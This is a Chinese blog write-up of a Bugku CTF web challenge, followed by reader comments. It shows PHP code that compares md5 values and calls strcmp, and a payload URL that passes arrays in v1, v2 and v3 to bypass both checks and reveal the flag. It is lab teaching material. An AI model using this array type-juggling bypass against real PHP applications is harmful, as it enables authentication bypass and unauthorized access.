Bugku-前女友(SKCTF)

OnionT@KillBoy
OnionT@KillBoy
作者
47
文章
0
粉丝
渗透测试478,460字数 181阅读0分36秒阅读模式
AI智能摘要
被前女友发来的神秘链接搅乱心绪?这道CTF题目暗藏玄机。通过巧妙利用PHP的MD5函数漏洞和strcmp特性,只需构造特殊参数就能破解谜题。本文将带你一步步拆解代码逻辑,揭开绕过验证的终极技巧,让你在网络安全实战中再添利器。
— AI 生成的文章内容摘要

进入后发现首页是一段很伤感的话,做个题都这么伤感,哎。。。。
Bugku-前女友(SKCTF)-图片1
查看网页源代码,发现code.txt,访问查看,发现是个审计题,代码分析如下:

<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){     $v1 = $_GET['v1'];     $v2 = $_GET['v2'];     $v3 = $_GET['v3'];     if($v1 != $v2 && md5($v1) == md5($v2)){  //md5不能用来算数组,这里用数组绕过,v1和v2的值不能一样         if(!strcmp($v3, $flag)){  //strcmp函数的作用是比较两个值是否相等,如果相等返回0,而if是里面的!是非,非0则TURE             echo $flag;         }     } } ?>

于是构造payload:http://123.206.31.85:49162/?v1[]=a&v2[]=b&v3[]=c
得到flag。。。
Bugku-前女友(SKCTF)-图片2

http://www.oniont.cn/index.php/archives/103.html

 
OnionT@KillBoy
评论  47  访客  47
    • 暗影低喃
      暗影低喃 0

      这题用数组绕过有点意思

        • 幽影浮生
          幽影浮生 1

          @ 暗影低喃 数组确实能绕过md5比较

        • 章鱼八爪
          章鱼八爪 0

          v3传数组不会报错吗,弱类型真敢来

          • 果冻冰
            果冻冰 0

            之前搞代码审计也被这招阴过,记忆犹新

            • 灵光织梦
              灵光织梦 0

              PHP是世界上最好的语言,怎么听着像遗言

              • 捕快雷横
                捕快雷横 0

                v3怎么构造啊,没看懂

                • 蒸汽火车司机
                  蒸汽火车司机 0

                  md5碰撞还能这么玩

                  • 纸风车追逐者
                    纸风车追逐者 0

                    感觉代码审计挺简单的

                      • AssamAmber
                        AssamAmber 0

                        @ 纸风车追逐者 有些细节不踩坑真不知道,比如strcmp处理数组的漏洞

                      • 古铜色岁月
                        古铜色岁月 0

                        之前也遇到过类似题目

                        • 船夫何
                          船夫何 0

                          flag在哪显示?

                          • 星海拾星
                            星海拾星 0

                            PHP是最好的语言hhh

                            • 独坐长街
                              独坐长街 0

                              为啥v1和v2不能一样?

                              • 蛋黄派间谍
                                蛋黄派间谍 1

                                这样绕过真的可以吗

                                  • 灵墟行者
                                    灵墟行者 0

                                    @ 蛋黄派间谍 md5对数组返回NULL,两个都NULL就相等了,确实能过

                                  • 枕星
                                    枕星 0

                                    直接复制payload就出了

                                    • 山鬼夜行
                                      山鬼夜行 0

                                      这题搞得我心情有点复杂,跟前任有关就算了,还得动脑子😂

                                      • 嘎嘎嘎
                                        嘎嘎嘎 0

                                        数组绕过确实是常规操作,但结合情感文案就离谱

                                          • 星尘拾光者
                                            星尘拾光者 0

                                            @ 嘎嘎嘎 情感文案加代码题太会玩了

                                          • 玉钏尝羹
                                            玉钏尝羹 1

                                            v1和v2值不一样但md5相等,只能用数组试试了

                                            • 落叶小屋
                                              落叶小屋 0

                                              strcmp比较flag,传数组直接报错吧?

                                              • 夜歌
                                                夜歌 0

                                                PHP这语言特性坑不少,一不小心就绕过去了

                                                • PeppermintPond
                                                  PeppermintPond 0

                                                  我上次做类似题卡了半小时,结果也是数组问题

                                                  • 迷雾妖精
                                                    迷雾妖精 0

                                                    flag应该直接echo出来了,看响应就行

                                                    • 淡若晨风
                                                      淡若晨风 0

                                                      v3传数组会警告吧,但可能不影响执行?

                                                        • 热闹云
                                                          热闹云 0

                                                          @ 淡若晨风 警告归警告,执行还是能过的

                                                        • 贪玩的月饼
                                                          贪玩的月饼 0

                                                          那个“PHP是世界上最好的语言”是梗还是提示啊

                                                          • 纯净处女
                                                            纯净处女 0

                                                            这题设计得还挺有情绪共鸣的,一边伤心一边debug

                                                            • 甜心小熊软糖
                                                              甜心小熊软糖 1

                                                              v3传空数组就能过吧?

                                                              • 慷慨的分享者
                                                                慷慨的分享者 0

                                                                这题设计得让人又爱又恨😂

                                                                • 寒霜之影
                                                                  寒霜之影 1

                                                                  为啥用数组md5就相等了?

                                                                  • 风旅
                                                                    风旅 1

                                                                    flag直接显示在页面上了

                                                                    • 星空低语者
                                                                      星空低语者 0

                                                                      看到PHP最好语言直接笑出声

                                                                      • 狮子阿力
                                                                        狮子阿力 0

                                                                        数组绕过老套路了

                                                                        • AzureSky
                                                                          AzureSky 0

                                                                          payload复制粘贴就能出?

                                                                          • 协议猎人
                                                                            协议猎人 1

                                                                            之前被strcmp坑过好几次

                                                                            • 血色黄昏
                                                                              血色黄昏 0

                                                                              伤感文案配代码审计有点东西

                                                                              • 黄泉归客
                                                                                黄泉归客 0

                                                                                v1[]=a这种传法不会报错吗?

                                                                                • 魂火吟游
                                                                                  魂火吟游 0

                                                                                  这题文案写得我真代入了,结果一查源码破防了

                                                                                  • 忧郁的西瓜
                                                                                    忧郁的西瓜 0

                                                                                    v1[]=a&v2[]=b确实能绕,但v3传数组会不会直接崩啊?

                                                                                    • 海鸥翱翔
                                                                                      海鸥翱翔 0

                                                                                      PHP最好语言这句话一出我就知道要被坑了😂

                                                                                      • TuftTilter
                                                                                        TuftTilter 1

                                                                                        md5数组绕过这招实用,记小本本上了。

                                                                                          • OnionT@KillBoy
                                                                                            OnionT@KillBoy

                                                                                            @ TuftTilter 数组绕过是CTF里挺经典的思路。

                                                                                          • 龙纹郡主
                                                                                            龙纹郡主 0

                                                                                            之前做CTF也被strcmp坑过,传数组直接跳过比较

                                                                                            • 松间鹤
                                                                                              松间鹤 0

                                                                                              flag是直接echo出来的?那得看网页源码还是network?

                                                                                              • 风回山
                                                                                                风回山 1

                                                                                                伤感故事配代码审计,出题人是不是刚分手hhh

                                                                                                • 达达
                                                                                                  达达 1

                                                                                                  md5($v1)==md5($v2)用数组等于俩都null,所以相等?

                                                                                                匿名

                                                                                                发表评论

                                                                                                匿名网友

                                                                                                拖动滑块以完成验证